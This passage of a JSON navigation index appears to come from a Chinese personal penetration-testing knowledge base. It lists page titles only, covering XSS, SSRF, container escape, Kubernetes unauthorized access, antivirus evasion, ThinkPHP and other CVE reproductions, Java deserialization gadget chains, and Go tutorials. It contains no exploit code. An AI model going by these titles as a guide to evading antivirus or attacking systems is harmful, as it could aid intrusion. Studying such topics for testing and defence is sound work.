Angular \u548c AngularJS \u4e2d\u7684 XSS","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","label":"02.XSSWithRelativePathOverwrite.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/"},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/","label":"SSRF\u6f0f\u6d1e","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/README","unlisted":false}]},{"type":"category","label":"\u5de5\u5177\u4f7f\u7528","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","label":"PathScan","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","label":"oss-put","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","unlisted":false}]},{"type":"category","label":"\u5185\u7f51\u6e17\u900f","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","label":"MSF\u63d0\u6743","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","unlisted":false},{"type":"category","label":"\u5185\u7f51\u6e17\u900f","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/","label":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README","unlisted":false},{"type":"category","label":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","label":"Apiserver","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","label":"etcd","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","label":"Kubelet","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/"}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/"},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/","label":"k3s\u5b89\u88c5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/README","unlisted":false},{"type":"category","label":"Linux\u63d0\u6743","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","label":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"}]},{"type":"category","label":"\u6e17\u900f\u624b\u6cd5","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/","label":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/","label":"SpringBoot\u6e17\u900f","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/README","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/","label":"JS\u8fd8\u539f","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/README","unlisted":false}]},{"type":"category","label":"\u514d\u6740","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/","label":"fscan\u514d\u6740","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/README","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","label":"\u53bb\u7279\u5f81","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README","unlisted":false}]},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/","label":"\u57fa\u7ebf\u68c0\u67e5","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/README","unlisted":false}]},{"type":"category","label":"\u6f0f\u6d1e\u590d\u73b0","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Thinkphp","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","label":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","label":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","label":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","label":"CVE-2022-38352","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","unlisted":false}]},{"type":"category","label":"V2board","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","label":"privilege-escalation-1.6","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","unlisted":false}]},{"type":"category","label":"Trojanpanel","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","label":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","unlisted":false}]},{"type":"category","label":"cve","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"2023","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","label":"CVE-2023-33246","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","label":"CVE-2023-33979","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","unlisted":false}]}]},{"type":"category","label":"\u7985\u9053","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","label":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","unlisted":false}]},{"type":"category","label":"Simple Admin","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/","label":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","unlisted":false}]},{"type":"category","label":"\u7528\u53cb","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"YonBIP","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","label":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)","unlisted":false}]}]}]},{"type":"category","label":"JeecgBoot","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/","label":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README","unlisted":false}]}]},{"type":"category","label":"\u4ee3\u7801\u5ba1\u8ba1","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Java","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u57fa\u7840\u5ba1\u8ba1","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","label":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","unlisted":false}]},{"type":"category","label":"ysoserial\u5229\u7528\u94fe","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","label":"Apache Commons Collections 1","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","label":"Apache Commons Collections 2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","label":"Apache Commons Collections 3","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","label":"Apache Commons Collections 6","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/"},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","label":"URLDNS","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","unlisted":false}]}]},{"type":"category","label":"PHP","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","label":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","label":"PHP\u4ee3\u7801\u5ba1\u8ba1","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","label":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","unlisted":false}]},{"type":"category","label":"Go","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","label":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","unlisted":false}]}]},{"type":"category","label":"\u7591\u96be\u6742\u75c7","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"k3s","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/","label":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/README","unlisted":false}]}]},{"type":"category","label":"\u8bed\u8a00\u77e5\u8bc6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Go","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"Go\u57fa\u7840\u7f16\u7a0b","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","label":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","label":"GoLang-\u8fd0\u7b97\u7b26","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","label":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","label":"map","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","label":"\u51fd\u6570","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","label":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","label":"Golang-\u64cd\u4f5cMySQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","label":"Redis","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\